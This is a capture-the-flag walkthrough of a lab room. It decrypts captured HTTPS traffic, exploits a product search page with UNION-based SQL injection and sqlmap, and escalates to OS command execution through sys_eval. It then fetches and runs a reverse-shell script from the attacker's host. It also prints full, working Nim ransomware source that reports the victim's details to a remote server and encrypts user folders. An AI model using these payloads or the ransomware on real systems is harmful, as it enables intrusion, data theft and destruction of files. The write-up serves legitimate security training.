# TryHack3M: Sch3Ma D3Mon

{% embed url="<https://tryhackme.com/r/room/sch3mad3mon>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Some Wireshark

We download the task files and find a `ssl_key.log` file in there as well as a pcapng. Inspecting the pcapng with Wireshark, we see we are dealing with a lot of encrypted HTTPS traffic. Since we have a `ssl_key.log` file, we can decrypt that traffic following the guide below:

{% embed url="<https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/>" %}

`Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename [ssl-key.log]`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjZRRRBJH6rvj1X04tVU1%2Fgrafik.png?alt=media&#x26;token=20b7296b-8c14-4164-990e-6f474e8e93d4" alt=""><figcaption></figcaption></figure>

After adding the `ssl.key.log` file, we should be able to see the clear text content of the HTTPS traffic.

```
(http.request or tls.handshake.type eq 1) and !(ssdp)
```

To answer the first two questions, we follow packet no. `78`.

`right click → Follow → HTTP Stream`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5BWkC1P0Q0YKbABch5Se%2Fgrafik.png?alt=media&#x26;token=42b16ba3-07be-4c37-a20c-bd951cadec6b" alt=""><figcaption></figcaption></figure>

Here we find the credentials to access the products search page for the following tasks.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5TujFaUt9Xl61cHSNkhC%2Fgrafik.png?alt=media&#x26;token=7e09798c-ed0d-430b-960c-1619eb7bfe17" alt=""><figcaption></figcaption></figure>

## Manual and Non-Manual SQLI

We start a Nmap scan and find three open ports, on port `8000` we find the page in question.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7Yew6zK36dX20ZAqeNGj%2Fgrafik.png?alt=media&#x26;token=5b5b468b-b7d7-40c7-a266-e8b48d0935e7" alt=""><figcaption></figcaption></figure>

After logging in with the found credentials from the Wireshark pcapng file...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJweZdzNqQcey5lpvGbEI%2Fgrafik.png?alt=media&#x26;token=645c1532-3b39-432d-924e-0b009ae78681" alt=""><figcaption></figcaption></figure>

...we are redirected to `/searchproducts.php`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgZugGOvhBPrUTIHkFpbL%2Fgrafik.png?alt=media&#x26;token=d22e5044-8cc6-4bbc-9854-ca823d2822e9" alt=""><figcaption></figcaption></figure>

### Manually

We have to guess or enumerate the database, since we have some column names like Product Name, Product Type, etc. on the page, we deduce that the actual column names in the table are like `product_name`. Since the challenge heading is about unlisted stuff, and we are facing the products page, we try the table name `unlisted_products`. With that, we are able to retrieve the hidden path.

```
' UNION SELECT 1,2,3,4,product_name FROM unlisted_products -- - 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjiKT1TjDdhZ2PyvbEYP1%2Fgrafik.png?alt=media&#x26;token=fcb86757-7a11-4e0a-b929-f6b6bdc25e24" alt=""><figcaption></figcaption></figure>

We could also enumerate the database by querying the information\_schema.tables.

See this article as referene:&#x20;

{% embed url="<https://www.hackingloops.com/sql-injection-union-based-exploitation-part-2-the-injection/>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection#exploiting-union-based>" %}

With the following query we can retrieve all tables from the database:

```sql
'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1TURm3kmqzLPIf9bYxzU%2Fgrafik.png?alt=media&#x26;token=fdfd2c8b-36c4-4318-b194-4ef44930bc9f" alt=""><figcaption></figcaption></figure>

Get the columns of the table:

```sql
'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='unlisted_products' -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8PSsNNDikggWEkDVY8qx%2Fgrafik.png?alt=media&#x26;token=16d60668-b3f5-4705-986a-e5a048e8216b" alt=""><figcaption></figcaption></figure>

Retrieve the data from the table:

```sql
'UNION SELECT null, null, null, group_concat(id,0x7c,product_name,0x7c,product_type,0x7c,description,0x7c,price), null FROM unlisted_products -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNuUegkqbqmpOS5ODgMRV%2Fgrafik.png?alt=media&#x26;token=456edd01-46e2-4e03-a202-cf438fc2ddee" alt=""><figcaption></figcaption></figure>

### Easter Egg

```sql
'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='easter_egg' -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkVuileQVpcEiLT0kDOqc%2Fgrafik.png?alt=media&#x26;token=7138090c-e76b-4910-9474-df9ae4a5325e" alt=""><figcaption></figcaption></figure>

```sql
'UNION SELECT null, null, null, group_concat(0x7c,message,0x7c,url_path), null FROM easter_egg-- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3lxQI5uUpxq118HpGi63%2Fgrafik.png?alt=media&#x26;token=26480ece-f3a5-48e3-bcc2-2f5a81d998b6" alt=""><figcaption></figcaption></figure>

Go  check it out :)&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAHfCu6aU08Bl041ySNSK%2Fgrafik.png?alt=media&#x26;token=485d2a4f-57b3-4a54-a726-587fba797089" alt=""><figcaption></figcaption></figure>

### SQLMap

We can capture the request of searching an arbitrary product and use that in SQLMap to dump the entire database and finding some neat easter eggs and all the info we need for the upcoming questions.

```
POST /searchproducts.php HTTP/1.1
Host: 10.10.211.168:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.211.168:8000
Connection: close
Referer: http://10.10.211.168:8000/searchproducts.php
Cookie: PHPSESSID=1c09011c2aa7521e8724e372229bda9d
Upgrade-Insecure-Requests: 1

searchitem=asdf

```

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/Sch3Ma D3Mon]
└─$ sqlmap -r search-req.txt --dump
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyjzVfVczGEiJr0XiWRgg%2Fgrafik.png?alt=media&#x26;token=7373bc1c-dbb7-4af6-b105-c906fb189ae9" alt=""><figcaption></figcaption></figure>

## OS Command SQLI

We head to `/os_sqli.php` and edit the provided payload with 3 additional null values, and get the user in context running the OS commands.

```
http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27whoami%27)%20--%20//
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7PdhY9vhQgvbsyGxLtGM%2Fgrafik.png?alt=media&#x26;token=b7ee444d-24d0-4f89-bd76-9b53e0dea89a" alt=""><figcaption></figcaption></figure>

Running `pwd` to answer the question of Task 4.

```
http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27pwd%27)%20--%20//
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHDmI8XoIgblDyZHvzfXU%2Fgrafik.png?alt=media&#x26;token=2c8fab31-742a-4c59-a30e-dc8e0b594ac9" alt=""><figcaption></figcaption></figure>

To find the needle in the malwarestack we are asked to decrypt the `.txt.gpg` files with the keys hidden in the database. Let's first try to retrieve the receipts. We can find the receipts at `/home/receipts`.

```
http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27ls%20/home/receipts%27)%20--%20//
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3q99oAyJk86gplcUJVOP%2Fgrafik.png?alt=media&#x26;token=a2d6c12c-ecf8-42ba-a6dc-afb0f25f1a46" alt=""><figcaption></figcaption></figure>

But we can't actually retrieve its full content since it is cut.

```
http://10.10.126.15:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27cat%20/home/receipts/3000000.txt.gpg%20%27)%20--%20//
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm9KhYDAmd7nGvn0WFU1t%2Fgrafik.png?alt=media&#x26;token=4996d558-94d5-4275-8738-963b3b6415c6" alt=""><figcaption></figcaption></figure>

A workaround is to spawn a reverse shell. We see that we have `python3` available. Let's craft a python3 reverse shell using `revshells.com` and save the file to our machine. Next, we create an HTTP server via python on our machine to make the script available to the target machine. We use curl via the sqli OS command page to download the reverse shell script and then execute that afterwards.

```
http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('ls /usr/bin/python3') -- //&debug=true
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGryhkdQnTCRyikHKM7ps%2Fgrafik.png?alt=media&#x26;token=b5785e72-4794-4f1a-9e4f-a24a109277a7" alt=""><figcaption></figcaption></figure>

Download the reverse shell to /tmp:

```
http://10.10.211.168:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,null,null,null,sys_eval(%27curl%20http://10.8.211.1/shell.py%20-o%20/tmp/shell.py%27)%20--%20//&debug=true
```

Execute reverse shell:

```
http://10.10.211.168:8000/os_sqli.php?user=lannister' union SELECT null,null,null,null,sys_eval('python3 /tmp/shell.py') -- //&debug=true
```

We have now an interactive shell which can be upgraded using:&#x20;

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVdfSy9MB0ZdE7FrZzIF8%2Fgrafik.png?alt=media&#x26;token=a9b49411-411a-425c-a207-2f601040e996" alt=""><figcaption></figcaption></figure>

With the upgraded shell we can move arround freely.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtUWSL8tE6RloIUlysBLJ%2Fgrafik.png?alt=media&#x26;token=61ace3b5-5f20-47a9-9eca-06a2ede8c863" alt=""><figcaption></figcaption></figure>

Now we are able to extract the contents fully of `300000.txt.pgp` via cat and copy its content. \
Next, we save that.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBpxrVATAh5glCvcL2ZNY%2Fgrafik.png?alt=media&#x26;token=d85262cc-3466-41fc-8a10-0a1829231f7e" alt=""><figcaption></figcaption></figure>

Next, we can use the dump of SQLMap to retrieve the `bitcoin_sender_address` to decrypt the receipt and get the location of the malware.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhuL4qgVqjvlZSBz7W9nn%2Fgrafik.png?alt=media&#x26;token=972dd0c6-81f8-4af4-bb2b-d95afd50646e" alt=""><figcaption></figcaption></figure>

You can also retrieve it manually. Head back to `/searchproducts.php.`

First, checkout the tables we have:&#x20;

```sql
'union select null, null, null, group_concat(table_name, 0x0a), null FROM information_schema.tables WHERE table_schema = database() -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJRkBwPzjAWEUIcemtFv8%2Fgrafik.png?alt=media&#x26;token=7af650ba-4011-4fe4-9191-5ad779379d44" alt=""><figcaption></figcaption></figure>

Transactions seems promising:

```sql
'UNION SELECT null, null, null, group_concat(0x7c,column_name,0x7c), null FROM information_schema.columns WHERE table_name='transactions' -- //
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4VHB6Ja9wQbgJRTt3KiJ%2Fgrafik.png?alt=media&#x26;token=2a67831a-58cd-44fb-b8f8-4845496d60e8" alt=""><figcaption></figcaption></figure>

Get the contents of transactions table:

```sql
'UNION SELECT null, null, null, group_concat(0x7c,bcoin_recipient_address,0x7c,bcoin_sender_address,0x7c,purchase_timestamp,0x7c,transaction_ammount,0x7c,transaction_number), null FROM transactions -- // 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff83uNBt3rwu8qxQFPVZi%2Fgrafik.png?alt=media&#x26;token=6cdf6a3b-b8e2-4c00-b789-f89640b20271" alt=""><figcaption></figcaption></figure>

After decrypting the receipt we get the path to the malware. In line `59` we can see which file extension gets added to the file after encryption.

{% code title="malware.nim" overflow="wrap" lineNumbers="true" %}

```nim
import os
import strformat
import httpclient
import nimcrypto
import base64
import json
import winim

# Added function to check for the debug mode in the config file
func isDebugEnabled(): bool =
  let configFile = getCurrentDir() & DirSep & "config.json" # Assuming JSON format for simplicity
  if fileExists(configFile):
    let configContent = readFile(configFile)
    let configJson = parseJson(configContent)
    if "debug" in configJson:
      return configJson["debug"].getBool()
  return false

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

proc change_wp(isDebug: bool): void =
  if not isDebug:
    var client = newHttpClient()
    var user = getEnv("USERNAME")
    var hostname = getEnv("COMPUTERNAME")
    var report_url = fmt"http://172.16.251.121/aaaaa_ransom.jpg?user={user}&hostname={hostname}"
    var req = client.getContent(report_url)

    var dump = getTempDir() & "paymeboogey.jpg"
    writeFile(dump, req)

    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, cast[PVOID](dump.cstring), SPIF_UPDATEINIFILE or SPIF_SENDCHANGE)

proc recursive(path: string, isDebug: bool): void =
  for file in walkDirRec path:
    let fileSplit = splitFile(file)
    let password: string = "myKey"
    if fileSplit.ext != ".boogey" and fileSplit.ext != ".ini":
      echo fmt"[*] Encrypting: {file}"
      var
          inFileContents: string = readFile(file)
          plaintext: seq[byte] = toByteSeq(inFileContents)
          ectx: CTR[aes256]
          key: array[aes256.sizeKey, byte]
          iv: array[aes256.sizeBlock, byte]
          encrypted: seq[byte] = newSeq[byte](len(plaintext))

      iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 34, 12]
      var expandedKey = sha256.digest(password)
      copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

      ectx.init(key, iv)
      ectx.encrypt(plaintext, encrypted)
      ectx.clear()

      if not isDebug:
        let encodedCrypted = encode(encrypted)
        let finalFile = file & ".boogey"
        moveFile(file, finalFile)
        writeFile(finalFile, encodedCrypted)

let debugEnabled = isDebugEnabled()
change_wp(debugEnabled)
var path = getHomeDir() & "Documents"
recursive(path, debugEnabled)
path = getHomeDir() & "Downloads"
recursive(path, debugEnabled)
path = getHomeDir() & "Desktop"
recursive(path, debugEnabled)
```

{% endcode %}

By reading the readme.txt, we are able to determine how to set the program in debug mode. After running the program in that mode, we are able to retrieve the final flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYXGcSbX2XRciTUigLMzV%2Fgrafik.png?alt=media&#x26;token=27aced55-1add-44f2-8bfe-1cbbf2a551a3" alt=""><figcaption></figcaption></figure>
